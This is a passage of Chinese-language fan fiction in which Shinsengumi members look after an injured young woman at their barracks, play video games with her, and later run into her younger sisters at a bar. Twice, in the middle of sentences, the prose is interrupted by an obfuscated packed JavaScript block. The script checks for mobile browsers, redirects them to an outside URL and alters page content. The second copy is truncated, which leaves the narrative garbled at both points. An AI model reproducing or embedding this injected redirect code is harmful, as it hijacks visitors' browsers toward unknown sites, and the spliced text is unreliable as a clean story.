山崎以极速替她褪去脸上的妆容,她素颜与化妆后的差异不太大,只是脸色变得更加苍白,眼下的乌青也更明显。 记忆中的她总是一副大大咧咧的样子,好像什麽都不在乎,却又会在一些小细节上较真;脸上总是挂着笑,但那双眸子却像一汪平静的湖水,毫无波澜。 也许正因如此,他有很长一段时间,都觉得她是个难以交心的人。 直至后来,真选组成立,终日和幕府那些老狐狸周璇,他才明白到,千只是比他们更早踏进了这个肮髒不堪的世界。 透过她身上的摄像头,他初次以第一视角体会到女孩子遭受的性恶意。无论是打量的眼神,还是粗鄙的言语,都令他极度不适,但她却没爲此抱怨过一句。 她只是像个小孩子一样说这个髒、那个臭,然后在他赶到她面前后耍赖皮说累。 想必在成长的路上,她也面对过无数次类似的恶意,然后一次又一次凭着自己双手挣脱。 从他们失去联繫到他赶到现场之间发生了什麽,他始终无从得知。但从现场的情况来看,就是她一个人干翻了整个组织。而他也无法谴责她这种莽撞的行爲,因爲要是他在现场,大概也会和她一样。 到底是世道对女性不公,还是男人本就是万恶之源。 以后,对她好一点吧,她也不容易。 感受到他手臂因情绪起伏而绷紧,千茶下意识地避开脑后那硬邦邦的东西,轻轻动了动脖子,把脑袋埋进他的胸口。 山崎退正面临着一个人生抉择。他非常确定,如果不在副长反应过来前熘走的话,下场肯定很惨。 但另一方面,谁不想看看上司的八卦呢? 副长不擅长应付女性,这是真选组裏公认却从不明说的秘密。 山崎尽量降低自己的存在感,以免他想起还有人在场。然后一边收拾着用品,一边偷瞄着那边的情况。 千茶在睡梦中不断往热源靠近,土方手足无措地想避开,又怕碰到她的伤口,最后只能僵在原处,任由她把脸窝在他胸前。她口中喃喃自语着什麽,但声音太小,谁也听不清楚。 很快,山崎收拾好东西,踮着脚尖正准备悄悄离开。 「鞍马你这个混蛋。」 房间的温度骤然下降了好几度。山崎偷偷瞄向副长,只见他脸色阴沉。虽然不清楚具体情况,但他能明显感受到副长此刻的心情非常糟糕。 「谁是鞍马?」土方的声音低沉,带着一丝压抑的怒意。 背着她离开现场、在旁边一直照顾她,现在还被她佔尽便宜的人,可是他土方十四郎,她现在喊的什麽鞍马?! 再不跑就来不及了。 「那个…副长,我先告辞了。」山崎拉开纸门,低声抛下一句,没等来对方的答复,他便关上纸门,飞奔回自己的房间。 才刚想着以后该对她好点,马上又给他来了这样一齣。 没良心的傢伙。 灼热的体温透过布料传来,她的眉头紧紧皱着,额角挂着薄汗。 眼下的问题没能得到答案,他只能认命地叹了口气,然后伸手替她拨开黏在额上的浏海,指尖擦过的时候,不经意地沾上她的汗水。 她的睫毛微微颤动,土方彷彿触电般立即缩回了手。 然后,心里燃起一股难以驱散的烦躁。 当冲田总悟带着便利店买来的宝○力水特和一些即食食品回到屯所时,夜已经过了一大半,他驾轻就熟地走到土方的房间,手在门上停留了片刻,还是决定先敲门。 「是我。」他说。 「啊…总悟…你等等。」土方的声音显得有些惊慌。 冲田向来没耐心,敲门也是看在房间现在是女孩子睡的份上,但既然土方也在,即是说他也没什麽该顾虑的,这便直接拉开趟门。 土方正手忙脚乱地将千茶从怀腾出来,听见门响抬头,恰好与冲田四目相对。 「那个…我…」 冲田沉默地看了他半饷,走进房间把门关上,在土方试图爲自己辩解之际,他从腰间抽出手铐,直接铐住了土方的手。 「好,逮捕。」 在冲田正要铐上他另一隻手时,土方先一步抓住了对方的手腕,加以制止。 「你在对失去意识的妙龄少女干什麽呢,土方先生。」冲田使着劲和他对抗。 「不是你想的那样。山崎刚才来给她卸妆,她侧睡不太方便,所以我才扶她起来…」土方咬着牙为自己澄清,但说完又觉得自己根本不需要向这小子解释。 他本来就清清白白的。 冲田当然知道他这种魔法师预备役不会对她做什麽,就纯粹看不惯这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15940200|177320||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个假正经的傢伙。 两人闹腾了好一会,看着差点要把她给吵醒,这才消停下来。 「我去便利店买了点吃的。」他将塑胶袋放在床榻旁,然后和土方一起扶着千茶躺下。 「另外,那些犯人都被安置在审讯室了。如果你打算亲自审问的话,最好赶在他们说出什麽不该说的话之前过去。」冲田提醒道。 比起和熟睡的病患纠缠,或是和恶劣的抖S较劲,还是工作更加重要。 土方点点头,边整理着制服,边起身朝门口走去。在踏出门槛前,他下意识地回头,瞥了一眼仍在昏睡的千茶。 「别担心,老妈,我会在这里看着她的。」 土方罕见地没有反驳,只是轻哼了一声就离开了。 冲田并非初次来土方的房间,他平日也常来捣乱,但静静坐在这里看着谁的睡脸,倒是第一次。 冬日的夜晚听不见猫叫,也没有虫鸣,房间里只有她浅浅的呼吸声和点滴输液的滴答声。她的呼吸轻而平稳,让他想起了很久以前在津田家的那些日子。 每次冲田找她对打切磋,最后都总是以她体力不支倒下作结。结束后,她便会安静地躺在他身边,直到他休息完毕,再让他把自己扶回房间。 如果他是易碎的玻璃,那麽她就是脆性更高的陶瓷。 各有各的优点。 「说真的,找天再和我打一场吧。」 他在那裏守了一夜。 后半夜她睡得不太安稳,为了避免她在睡梦间碰到伤口,他几乎整晚没阖眼。即是说,他只能眼睁睁地看着她经历一个又一个恶梦,直到夜色渐退,她的体温才降下来,身上的冷汗也止住了。 他刚搣了灯,阖上眼睛想要小憩片刻,她就很不合时宜地醒了过来。 藉着纸门透进的昏暗光线,她隐约看见冲田坐在床边,头微微低垂。她想伸手去碰他的脸,却发现手腕上还连着点滴,只能默默地收回手。 大量运动后的肌肉痠痛,加上维持同样姿势睡了一晚,骨头都僵了。她撑起身子想要活动一下身体,衣料磨擦的声音惊醒了刚眯着的冲田。 「终于醒了啊,那些傢伙都快担心死了。」他的声音闷闷的。从他疲惫的模样不难看出,他大概守了她一整夜。 千茶用没连着点滴的手揉了揉他的脑袋。 「谢谢你没把我送去医院。」她说,她的声音也哑着,虽然休息了一晚,但也没比他好上多少。 「你当我是狗吗?」他假借伸展身体挥开她的手,顺势躺到地上,用手臂盖着脸。 「困死了…」 看在他守了自己一夜的份上,千茶挪着身子,把牀榻空出一半,然后伸手去拉他的衣袖。 「过来,我分你一半被子。」说着,她掀开被子,宽松的和服被她压得凌乱,襟口处微微敞开,露出了一截白皙的颈脖。 虽然他们小时候也试过一起靠着树干睡午觉,但现在的情况明显不一样了。 他顿了一顿,视线不自然地移开「别痴心妄想了,就算和你睡了,我也不会娶你这种身分不明、外面还藏着仇家的大小姐。」 「是吗,不过我也不会嫁给那些在别人手机偷装跟踪器的臭条子。」她说着,手上拉扯的力度又大了些。 冲田饶有兴致地挑挑眉,并无半点心虚,就像这件事与他无关一样。 正如他一开始所料,她不仅没有生气,还刻意表露出自己知情。显然,她打算将这件事转化为自己的筹码。 又或许,从一开始他们就已看透了彼此的恶劣本质。在互相利用的游戏中,若能将计就计换得半分真心,倒也不错。 「嘛,既然我们达成共识了,那在土方先生进来大吵大闹之前,我就先睡一会吧。」他的声音里带着一丝愉悦。 睡在土方的房间,枕边的人还穿着土方的衣物,一觉醒来还能看见气急败坏的土方,光想想就让人忍不住期待。 「那麽,晚安。」 就像冲田説的,他们是被土方给吵醒的。 真选组的副局长忙了一整晚,终于录好犯人们的供词,并再三校对,确保将千茶的存在完全剔除,只笼统的将她归类为「受害人」。至于捣破集团的功劳,他也勉为其难地揽了下来。 闲下来已经差不多到中午了,想着回房间眯一下,却忘记了自己把房间让了出来。拉开房门,映入眼帘的就是挤在一张被子里睡得正香的两隻小恶魔。 「你们两个在干什麽!这里可是屯所!」他的咆哮声在整个走廊迴盪。 先醒过来的是冲田,他睁开眼睛,慢悠悠地从床上坐起来,不满地盯着门前的人。 「老妈,看在今天是星期天的份上就饶了我,让我多睡一会儿吧。」 「就是…妈妈你声音那麽大声会吓到病人的。」千茶也跟着醒了过来,拉起被子盖着自己的脸。 隔壁房间的近藤昨晚也工作到很晚,刚梳洗完准备去食堂觅食时,就听见鬼在咆哮。 他带着疑惑走到土方身旁,顺着对方的视线望去,立刻就明白了他在生什麽气。 「这个…」近藤尴尬地咳嗽一声「总悟、千,我知道你们还年轻,正是血气方刚的年纪,但还是要注意分寸啊。」 「近藤先生,我可是很有分寸的喔。」冲田一脸无辜地説着,伸出食指指向千茶「是这个不知廉耻的女人先邀请我的。」 她也没有反驳,撑着身子坐起来,拨了一下凌乱的头发「嘛…现在这个天气很冷不是吗,我们只是像企鹅一样堆在一起取暖而已,又不是在□□,别生气嘛。」 「对,而且企鹅□□时是叠在一起的,我可没碰到她,请你有点常识好吗,土方先生。」总悟一脸正经地补充道,惹得千茶忍俊不禁。 土方被他们轻佻的态度气得咬牙切齿,却又不好对一个病人发火。 「你们两个...」 「十四,你冷静一下。」近藤拉住正要冲上前揍人的土方,安抚地拍着他的手臂「千还在养病,我们还是先出去吧,我的房间可以借给你休息!」 土方被拉着到走廊,喃喃自语地抱怨着两个不知分寸的小鬼。他被近藤领着往食堂的方向走了几步后,忽然想起有些不对劲,立刻挣开旁边的猩猩,跑回去拉开房间的纸门。 「总悟,你也给我滚出来!」 开玩笑,他怎可能把这小子给落下。 18. 随意立下的Flag都会被迅速拔除 接下来几天,千茶住进了真选组的屯所。一方面是为了让她好好养伤,另一方面也有些后续调查需要她协助。她似乎早已预料到这种情况,所以事先就把万事屋的委托期限定为一周。 为了保护她的名声,土方在早上的集会时略过了事件的来龙去脉,只是简单提到千茶因上次的卧底任务受伤,而案件还需要她协助,所以才会暂时留在这里。 她继续住在土方的房间,而当天他背着千茶时展现的亲昵也被不少队员看在眼里,只不过在谣言传出前,他们就因为冲田队长充满威胁的眼神而把话都吞回了肚子。 他们可不想卷进高层的修罗场里。 不过比起队员们,更让土方不放心的还是千茶,她我行我素的性格在分别的数年间,可说是来了一个很大的跃进。 像是医生让她暂时不要洗澡,以免伤口沾水会感染,她却脚尖碰地便溜进浴室洗澡去了。 然后就被捉了个正着。 「医生不是让你这几天不要洗澡吗?」土方正坐在房间里,严肃地盯着刚从浴室出来的少女。 「医生又没被陌生男人弄得浑身黏糊,当然会这样说。」她理直气壮地说道,侧着脑袋擦拭着滴水的长发。 什么被弄得浑身黏糊,明明就是她把人家斩得血肉模糊。 土方的眉角抽了抽,说教的话还未出口,就听见她吃痛的轻叹。 「我就说了吧,现在扯到伤口了。」 虽然嘴上说着风凉话,但他的身体已经先一步行动,起身扶着她到床铺坐下。 「…我只是头发打结不小心扯到而已。你这洗发水也太干了,对发质很不好。」 他真是脑子怀了才会来关心她。 他没好气地白了她一眼「你倒是挺有闲情逸致,还在意起洗发水来了。」 「你不在意吗?」 千茶撑起身子,二人之间的距离一下子被拉近。 「你以前的头发不是比我还长吗?为什么剪掉了?」她问,指尖轻捻着他脑勺下方短硬的发尖。 「剪短比较方便,不用每天花时间打理。」 「诶…我还以为是失恋了之类的呢。」千茶笑道。 「才没有那种事。」 「因为这种原因剪掉还真可惜呢,明明十四的头发那么好看。」 土方抿着嘴唇,避开她直勾勾的眼神。 不像平日那些刻意调拨他的行为,更像是发自耐心的称赞,这让他更不知所措。 也许是为着逃避她的目光,也许是想掩饰此刻的不自在,他不得不强迫自己找些事做。而眼下能做的事,也就只有… 土方从她手里抽过毛巾,像是在替小狗擦身体般胡乱揉着她的头发。 她不满地抬腿,轻踢了一下他的腰侧。 「我不是跟你说了头发会打结的吗?」 但他却像没事人一样,依旧粗鲁地擦着她的头发,然后在她准备再蹬他一脚的时候,捉住了她的脚腕。 「你就不能消停一会吗?」他问,然后像烫手似的松开她。 他从未见过有人受伤后还能如此精力充沛,要不是她的三餐都是真选组准备的,他都要怀疑她是不是吃了什么药。 消停是不可能的,至少在她伤口恢复前都不可能。 千茶双手按在土方的大腿上,身体向前倾,漂亮的眼眸如含着一汪水,楚楚可怜地望着他。 「我现在穿着您的衣服,住在您的房间,晚上还睡在您的榻榻米上。要是我柔弱又听话,被人看见了,可会误会您在玩囚禁Play哦。副、长、大、人。」她刻意将最后几个字的音调拉得绵长。 即使明知她是刻意调戏自己,土方还是被她直白的眼神盯得不自在。似即若离的距离下,他能感隐约受到她吐息和体温。烟草和洗发水的香气交织在,门缝透进的一丝凉风也无法驱散这份暧昧。 他本能地想要后退,却又不愿在这场无声的较量中示弱。 对了,闭上眼睛。闭上眼睛,不去看她就好。 「你是在期待着我亲你吗?十四。」 「什么?!我才不…」他猛地睁开眼,腿上的压力早已褪去。千茶正侧着身,用手当梳子,仔细地顺着自己的长发。 「我说,你总是这样一惊一乍的,遇到有恶趣味的人可是会吃大亏的哦。」千茶说「就像是那些一边说着『真漂亮啊,土方先生。』然后就开始对你动手动脚的人。」 「才不会有那种人!」 「嘛…反正我就提醒过你了。」千茶淡淡地瞥了一眼,别过头去继续整理自己发尾的结。 好险。 刚才,她差点就被那张脸给蛊惑了。 等会儿得让总悟给她找几套碎〇案的纪录片来冷静一下。 也许是因为发尾染过深色的缘故,那里的发质不如金色部分柔顺,她弄了很久都无法解开打结的地方。 「转过去。」 千茶难得地乖乖转过身,土方不知从哪里找来一把木梳,挑起她一绺头发,轻柔地为她梳理起来。 等到结都解开了,他又拿来了吹风机。 他的手指轻轻捋过她的头发,确保每一处都能吹得均匀。 她乖顺地任他摆弄,浴衣的后领微微敞开,露出雪白纤细的颈脖,像一只毫无防备的小动物,在不经意间向猎人展露出最脆弱的部位。 吹风机的嗡嗡声掩盖掉他的心跳,发丝飘动间,他瞥见她微红的耳尖,一阵麻痒感从指尖直窜上心头,手上的动作顿时乱了分寸。 这家伙…该不会在害羞吧? 从刚才开始,千茶就注意到吹风机一直朝着她一边耳朵吹,时间久了便烫得发痛。她本想让土方把吹风机移开一点,转过头却瞧见他红着脸盯着自己。 等等。 她现在可是什么都没干,很乖地让他吹头发啊?他脸红个什么鬼? 「那个…」 土方没等她把话说完,就关掉了吹风机,随手放在一旁,再把毛巾丢到她手里。 「好了,等吹风机冷却后收进柜子里吧。」 千茶还未反应过来,他已经走出房间、关上纸门,只留下她一个人坐在床铺上揉着发烫的耳朵。 接下来的两天,千茶都没见到土方十四郎。要不是山崎说他公务繁忙,她大概会以为他在躲着自己。 冲田和近藤倒是会轮着给她带漫画和游戏,就连许久未见的齐藤终也来偷偷送了慰问信。 在只有男人臭烘烘的空间里,突然来了个年轻貌美的少女,她自然成为了众星捧月的存在。山崎经常收到队员们托他转交给茶茶小姐的礼物。 她的受欢迎程度就像男校经历改革后,迎来的第一位女学生,即使对她并非恋爱般的喜欢,还是会不自觉地对她呵护备至。 为了不造成麻烦,千茶大部分时间都留在房间里,只有在深夜人都歇下后,才会到庭院走动一下。 落荒而逃的第三天,土方找遍整个屯所都寻不到翘班的冲田,而当土方拨响了他的电话时,却听见铃声从自己的房间传来,还伴随着马〇奥赛车和近藤勋的说话声。 他那个纵容下属的上司,该不会和那个翘班的下属,一起躲在他房间里跟女孩子打游戏吧?! 光想想,怒火便直冲脑门。土方一脚踹开纸门,果然如他所料,冲田就在里面,在他踹门后只是懒洋洋地抬头看了他一眼。 「这场快结束了,快来坐下,我们接下来玩分组赛。」千茶邀请道,一边灵活地操控着手上的游戏手柄。 「对啊!十四,我们可等你好久了,快点坐下来。」近藤也跟着附和道。 土方嘴角抽搐,看着眼前三个完全沉浸在游戏中的人,一时之间不知该说什么好。 不对,他是来捉翘班的冲田的。 他盯着刚冲线的冲田,正准备开口训斥,却被对方塞来一个游戏手柄。 「好了好了,大家正高兴着呢,你也别太不识相了啊,土方先生。我们可是为了迁就你,才一起玩你最喜欢的马〇奥。」 他的反应没有辜负他们的期待,眉头抽搐了一下,看来冲田的挑衅确实起效了。 「好了,有什么不满就在游戏里一决胜负吧,这才是男子汉的浪漫!」近藤挺着胸膛,意气风发地说道,旁边的千茶也很识相地拍手附和着。 「翘班的事我晚点再跟你算帐。」 既然是分组赛,自然就是二对二的对决。千茶和冲田本想组成一队,但另外两人一听就立刻表示反对。最后由猜拳断定了分组,千茶和近藤组成一队,冲田则是和土方组成另一对。 激烈的赛车对决就此展开。一开始两组差距不大,直到土方不小心用道具误伤了冲田。冲田一怒之下开始疯狂抽道具攻击土方,最后两人陷入了互相报复的混战。近藤和千茶趁机占了上风,最终以微弱优势赢得了比赛。 虽然输得非常不甘心,但他们也只能乖乖听从胜者的要求,到外面买关东煮回来给他们作宵夜。 他们离开后,房间只剩下近藤和千茶。他们玩赛车玩得有点腻了,便换着玩起路〇吉洋楼。 虽然路〇吉洋楼的卡通画风一点都不恐怖,不过毕竟还是恐怖游戏,近藤偶尔会被突然跳出来的小鬼吓一跳。千茶神色自若地操控着角色,偶尔还会安抚他几句。 「我不行了。」 刚打完一个Boss,近藤暂停了游戏,整个人向后摊在榻榻米上。 「诶,起来继续玩嘛。」 「不行,大叔我年纪大了,打不了那么久的电动。」 被拒绝得那么干脆,千茶也不再坚持,放下手柄后静静地望着近藤勋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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不是开玩笑,他这样更像动物园里的大猩猩了。 千茶看着他自怨自艾的模样,不禁笑出声来,接着也站了起在,坐到他旁边。 「让我一个人静静。」 「别这样嘛…我的确是很喜欢近藤先生你的。」她说。 近藤一瞬间还以为自己听错了,猛地擡起头,她的声音又接着响起。 「近藤先生给人一种大哥哥的感觉,只要在你旁边就很安心。」 很好,是被好人卡高一等的「我只把你当哥哥卡」。 「我记得你有两个哥哥。」 「嗯。」 他也记得她的大哥是攘夷志士。 根据十四的说法,当日他闯进目标单位时,她已经把在场持有武器的大部份犯人击倒在地。 这样看来她的身手比起当日分别的时候,可是进步了不止一星半点。 那么她的立场便让人头痛了。 「我的立场和哥哥们都不一样,要是你在担心这个的话。」 她像是看穿了他心中所想。 「没关系,我能理解的。」 她一早就猜到真选组把她留在这里养伤,背后还带着监视的意图。土方在工厂时对她的警惕,加上总悟在她手机里安装的跟踪器,都像在无声证实这一点。 被过去的朋友提防着确实让人有些难过,但在乱世,要是他们连基本的戒心和自保能力都没有,她反而会更失望。 现在这样也挺好的。 「既然都说到这份上了,如果您有什么想问我的,我们现在就直接说开吧,局长。」 近藤沉默了片刻,正色地点了点头。然而过了好一会儿,他仍然无法开口问出那个问题。 或许在心底深处,他并不想知道答案。 「对疑犯犹豫不决的话可是会被牵着鼻子跑的哦,局长先生。」 近藤扯了扯嘴角,为难地摸着后脑勺「没办法,审讯这种事一直都是十四比较在行。」 大概是面对着老朋友,还是忍不住心软,果然是个老烂好人。 「我啊…没什么立场,我不想卷入幕府的肮脏事,也不认同那些为了所谓理想而漠视百姓性命的人。我只想我重视的人都好好的。」她平静地说,目光清澈而坦然。 「这样说,够清楚了吧?」 沉默持续片刻,最终近藤像是松了一口气。 「嗯,现在说到这里就够了。」他点点头,然后像以前一样伸手揉了揉她的头发。 「剩下的事,等你准备好再说吧。大哥哥我随时都在这里,等着听你倾诉。」 19. 恋爱游戏的HE不能算作实际经验 许是入冬以来最寒冷的一天,这天的歌舞伎町比平常更加冷清。坂田银时领着万事屋和客户托付的孩子们走进登势酒馆,他们似乎是这天的第一组客人。 「你别打算把我这里当作免费食堂。」登势像是一眼看穿了他的意图,嘴里虽抱怨着,但还是把热腾腾的饭菜端上桌来。 银时说这两个孩子是他旧友的妹妹,她们姐姐有事要离开江户几天,便暂时把孩子托付给他照顾。话虽如此,年纪大的那个早已懂事,小的也很听话,他顶多就是当个出入时临时保镖罢了。 「老板娘请你放心,姐姐已经把我们的餐费和委托费都给银时先生了。」 就这样,菊乖巧地把银时给出卖了。 「哦…所以说,你已经拿到钱了?」登势斜眼瞥向银时,他顿时心虚地别过头,假装没听见。 「那么说,这个月的租金也是能付上吧。」 「这个嘛…」 「啊哈哈,你们还真会说笑,我怎么会做这种事呢?阿银可是个负责任的大人啊,才不会撒这种谎。」他说着,可是听上去明显有些底气不足。 「但是小银,你之前不是说茶茶姐姐只给了你小春和小菊的餐费吗?怎么现在又多了委托费?」神乐放下电饭煲,疑惑地看向银时。 「银桑,你不会是把委托费偷偷昧下了吧?」新八的话语刚落,银时便遭受到整家店的鄙夷目光。 在这件事上,他的确没撒谎,千茶当时真的告诉他那是妹妹们的餐费,只不过用剩的也不用还她而已… 「难怪昨天小银有钱带我们去吃烤肉…」 「前天也吃了猪扒饭。」新八补充着,然后和神乐对视一眼,低头看向面前简朴的家庭料理。 今天怎么就…消费降级了? 「原来钱是那么不经花的吗?」神乐问道。 新八也在想着同样的问题。他们老板早上出门时还是意气风发的,但下午再见面时,整个人就憔悴了许多。 唯一可以解释的就是… 「银桑,你该不会把茶茶小姐给你的钱全部花在柏青哥上了吧?」 银时眯了眯起眼睛,不满地抗议「喂喂,你们也太不信任大人了吧!」 「那你这个废物大叔现在立刻把身上的钱都掏出来!」神乐一把揪住他的衣领厉声命令道。 坂田银时顶着那些険要把他剥光的视线,认命地掏出口袋里仅剩的几个硬币和一张皱皱的纸钞。 谁让菊告诉他这些钱是千茶玩柏青哥赢来的,他和长谷川听说赢来的钱能带旺运气,就拿着去赌了一盘。 至于结果,嘛… 春怜悯地瞥了他一眼,掏出钱包,按着眼前食物的金额,抽出几张纸钞放在桌上,双手推向登势。 「麻烦您了。」他说,然后又接着解释「姐姐说男人都不可靠,所以也给了我们一点钱。」 旁边一直在看戏的凯萨莲听到这话忍不住笑了出来「你姐姐说得非常对,尤其是这这种脑子里只有柏青哥的男人。」 银时不满地瞪了她一眼,他才不想被小偷女说。 他趴在桌子想,擡眼望着登势收起钞票,心里还有点疑问「要是她另外给了你们钱,那么给我那些…」 「姐姐她大概是看见大哥的朋友混得那么差,有点于心不忍吧。」春说。 「对,她还说过神乐姐姐和新八哥哥正在长身体,偶尔也该吃顿饱饭。」菊也补充。 「不过也真的只能吃一两顿,剩下的还是全部输了呢。」凯萨莲再次补刀,然后被恼羞的银时赶了回后厨。 「我说,你们就不能给我留点面子吗?」 「要面子的人才不会把孩子的伙食费拿去赌博呢。」登势冷冷道,然后又给菊和春的杯子加了点热茶。 「茶茶姐姐真好。人又漂亮、出手又大方、又会照顾我这个没饱饭下肚的可怜美少女…我也想要个这样的姐姐~」神乐边扒着饭边仰天长叹。 相比之下,她那个笨蛋哥哥就只会欺负她。 新八看着面前那个天然卷的废柴大叔,忽然对千茶起了起了些歉意。 「茶茶小姐赚钱也不容易吧,这样浪费在我们和这个没用的大叔身上,真的没关系吗?」 春不以为意地摇摇头。 「姐姐她对钱没什么概念,物欲也不大,所以她一向乐意把钱花在人身上。而且被她接济过的人,通常都会心甘情愿地回来当她的狗,再争着给她上贡。」春捧着茶,说得一脸理所当然「这样想的话,也可以当是她的投资方式吧。」 「不不不,一般人才不会用这种方式投资?她是哪里来的不谙世事贵族千金吗?!」新八吐糟道。 银时很想告诉他,她的确就是那种大户人家养出来的千金小姐。但这话若由受了她恩惠的自己说出口,恐怕会被他们误以为是刻意占便宜,惹来更多不必要的征讨,最终他还是决定保持沉默。 「银酱以后也会去当茶茶姐姐的狗吗?」神乐没头没脑地来了一句。 「我才不要当那个女人的狗。」 开什么玩笑,他才不是那些能随便拿去娱乐她大小姐的抖M,要是反过来倒还差不多… 想着,脑海里又浮现起那天她被他捏住脸时,红着眼睛楚楚可怜的模样。 啊…不行。 反过来是另一种意味上的不行。 「你在想些什么?」 回过神来,银时发现春正用可疑的目光盯着自己。 这个早熟的小鬼每次都能准确捕捉到他心虚的瞬间,姐控的雷达还真可怕。 「没、没什么?」他捏起酒杯送到嘴边,故作平静地把里面的酒一干而尽。 其余的人似乎都没注意到这边的暗涌,尤其是神乐,她似乎对于当狗这件事非常热衷。 「那么就由我来顶上吧!茶茶姐姐出手那么阔绰,跟着她一定会过上美好人生的!」她说。 「你是没听见上贡那部分吗?你那里来的钱上贡?」新八毫不留情地打断了她的幻想。 「没关系的,要是没有钱的话,体力劳动姐姐也接受的。」 神乐顿时眼睛发亮,走起来拉着银时的手臂。 「小银小银,你听见了吗?体力劳动也可以耶,我们可以一起当狗了!」 无论是小鬼意味深长的目光,还是小鬼嚷着要给别人当狗的叫喊都烦死了。 「我说了不要!」银时抓狂地大喊「你这家伙到底是有多想当狗啊!」 「因为当狗感觉很轻松嘛…」神乐说着,指向身后的白色大犬「你看定春每天只是吃饭、散步和睡觉,我也想过那样的生活。」 被胡乱定义的定春朝她吠了一声,似是不太同意她的说法。 神乐装作听不见,继续自顾自说「去嘛,小银。茶茶姐姐一定会是个好主人的。」 「要去你自己去!」 扰攘之际,酒馆的门被推开,迎来这天第二组客人。 推门进来的是两个穿着黑色金边制服,腰间别着佩刀的武士。 黑色M字浏海和栗色顺发,一看就知道是熟人。 「请问还有关东煮吗?」 冲田和土方在街上晃了快一个小时,始终找不到一家卖关东煮的店。 平常光顾的小摊因为天气太冷,店主没有营业,接着他们走访了好几间居酒屋,不是已经卖光就是根本没开门。 几经波折后,他们打了个电话回去报告情况,千茶的回答却是「没关系,等你们买到再回来吧~」 言下之意,就是他们要是买不到,那就别打算回来了。 这还是经过近藤批准的。 他们的局长要被带坏了。 回归请求被驳回的土方和冲田又去了几间便利店,但每家都说今天的关东煮已经卖光了。 最后,他们来到招牌写着「登势」的小店前。 「怎样,要进去看看吗?」冲田问。 土方擡头看了一眼二楼的万事屋,应该不会这么倒楣,碰上那些麻烦的家伙吧… 虽然不太情愿,可是他们现在也没别的选择,只能博一下运气。就算买不到关东煮,进去喝杯温的清酒暖一下身子也是好的。 结果,土方一推开门,就对上那双令人讨厌的死鱼眼。 「晚上好,旦那…」冲田和银时打着招呼,但当他瞄到银时旁边两个金色的小脑袋后,声音顿时压了下来。 「哦……我还在想这种天气怎么会有傻子出门喝酒,原来是你们啊。」银时似乎没注意到他的失神,自顾自地说下去。 「怎么了?今天来又是想打我们家小玉的主意吗?很遗憾呢,她今天可不在这里喔,她…」 那恼人的声音正是来自土方最不想碰上的麻烦家伙。他根本没把对方的话听进去,因为他已经顺着冲田的视线,看见了那些本不该出现在这里的人。 柔顺的金色长发,像玻璃珠子般清澈的眼眸… 「好久不见,土方先生、冲田先生。」 糟糕透了。 怎会在这里碰见千茶那两个妹妹?而且还是和万事屋的家伙在一起… 正当警察叔叔们正纳闷着,脑子里很合时宜地响起千茶那句「找了个能挡刀的保姆。」 以现况看来,她的描述可说是非常精警。 「小春,你认识土方先生和冲田先生吗?」新八看着春站起来向两人打招呼,不禁有些意外。 没等来春的回应,倒是菊先抢答上了。 「啊!是那天半夜跟着姐姐回家的大叔。」 跟她姐姐回家? 冲田若无其事地四处张望,土方则是深深吸了一口烟,整根烟在瞬间就烧到只剩烟头。 作为警察,这两个人也未免太容易看懂了吧。 「茶茶姐姐认识这些税金小偷吗?」神乐问。 菊点点头,回忆起那天半夜被客厅的动静惊醒的情形。 「那晚姐姐带了三个大叔回家喝酒。过了一会儿她去了洗澡,然后那个M字的大叔就去便利店买东西…」 「后来呢?」 「后来…我太困就回去睡觉了。」 重点部分反而被错过了啊! 你姐姐可是在和三个陌生男人独处啊,一般的弟弟不该都很警惕,守在旁边一直盯着吗?这孩子居然还能安心睡觉,也太未免大胆了吧?! 还有那个蛋黄酱狂热分子半夜跑去便利店,到底要买什么?难不成是去买蛋黄酱?这也太奇怪了吧。 在场所有人都用意味深长的目光盯着土方。 这种情况听起来像是几个公务员流氓,在街上看上了貌美少女,滥用职权跟踪人家回家。接下来又是洗澡又是便利店的…不就是Let''sParty的节奏吗? 「喂!等等…先听我解释,事情不是你们想的那样的。」土方着急道,他似乎也注意到菊的说法多么惹人误会。 「我们和那家伙认识很久了,那晚碰面正好谈到一些事,她就邀请我们去她家坐坐。然后她说想吃雪糕我才会去便利店,对吧?总悟!」 「是吗,我明明记得土方先生不是去买雪糕,而是…」 土方立刻瞪了他一眼「你要是胡说八道的话,我就砍了你。」 「好可怕,我的上司说要将我人灭口!」冲田用手围起一个喇叭的形状,大声地喊着。 「闭嘴!」 「再怎么说,三个带刀的受薪流氓大半夜跟着个手无寸铁的少女回家,本身就很可疑吧?」银时眯起眼,像是在审问犯人一样盯着他们「你们去了她家后,第二天她就急着离开江户。要是不能给出一个合理的解释,我可是要去报警了喔。」 先不说别的,谁是手无寸铁的少女? 那个天然卷口中的「手无寸铁的少女」,可是个会在袖子里藏剔骨刀,凭着一己之力就能打趴整群持械大叔的可疑人物。 刚刚还使唤他们冒着寒风去帮她买宵夜,自己则窝在他房间里打游戏。 「真抱歉呢,我就是警察。」 土方抽了抽眉角。 「哎呀,原来你是警察啊?这不就更糟糕吗?居然滥用职权去跟踪少女,税金小偷还真是无耻啊。」 在外面除吹了那么久的风本就烦,银时那种阴阳怪气的说话方式更是让土方一点就燃。 「什么滥用职权?我们那是在执行正当的公务!」 「执行公务?」新八捕捉到一个很关键的词语。 「啊…那个…」 啊。 说漏嘴了。 土方下意识看向两个小金毛,仔细观察着他们的反应。 她替真选组当卧底这件事一直瞒着两个妹妹,就连打电话时,也要假装自己离开了江户。问她为什么不说实话,她只说不想让小孩子卷进大人的事里。 看来也是怕孩子们会担心她吧。 「姐姐她…是犯了什么事被你们发现了吗?」春小心翼翼地问。 「呃…不是…」 